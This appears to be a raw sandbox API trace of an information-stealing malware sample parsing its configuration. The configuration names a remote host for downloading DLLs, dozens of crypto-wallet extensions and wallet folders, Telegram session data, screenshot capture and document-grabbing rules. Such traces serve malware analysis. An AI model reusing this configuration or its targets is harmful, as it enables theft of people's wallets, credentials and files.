lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.205] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f9ac0 [0266.205] lstrlenW (lpString="jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4284 [0266.205] LocalAlloc (uFlags=0x40, uBytes=0x21f8) returned 0x6fc408 [0266.205] StrCpyW (in: psz1=0x6ef5a0, psz2="JaxxLiberty" | out: psz1="JaxxLiberty") returned="JaxxLiberty" [0266.206] LocalFree (hMem=0x6fc408) returned 0x0 [0266.206] StrStrW (lpFirst="26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.206] lstrlenW (lpString="jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4284 [0266.206] LocalAlloc (uFlags=0x40, uBytes=0x21f8) returned 0x6fc408 [0266.206] StrCpyW (in: psz1=0x6f1ee8, psz2="26" | out: psz1="26") returned="26" [0266.207] LocalFree (hMem=0x6fc408) returned 0x0 [0266.207] StrStrW (lpFirst="com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension 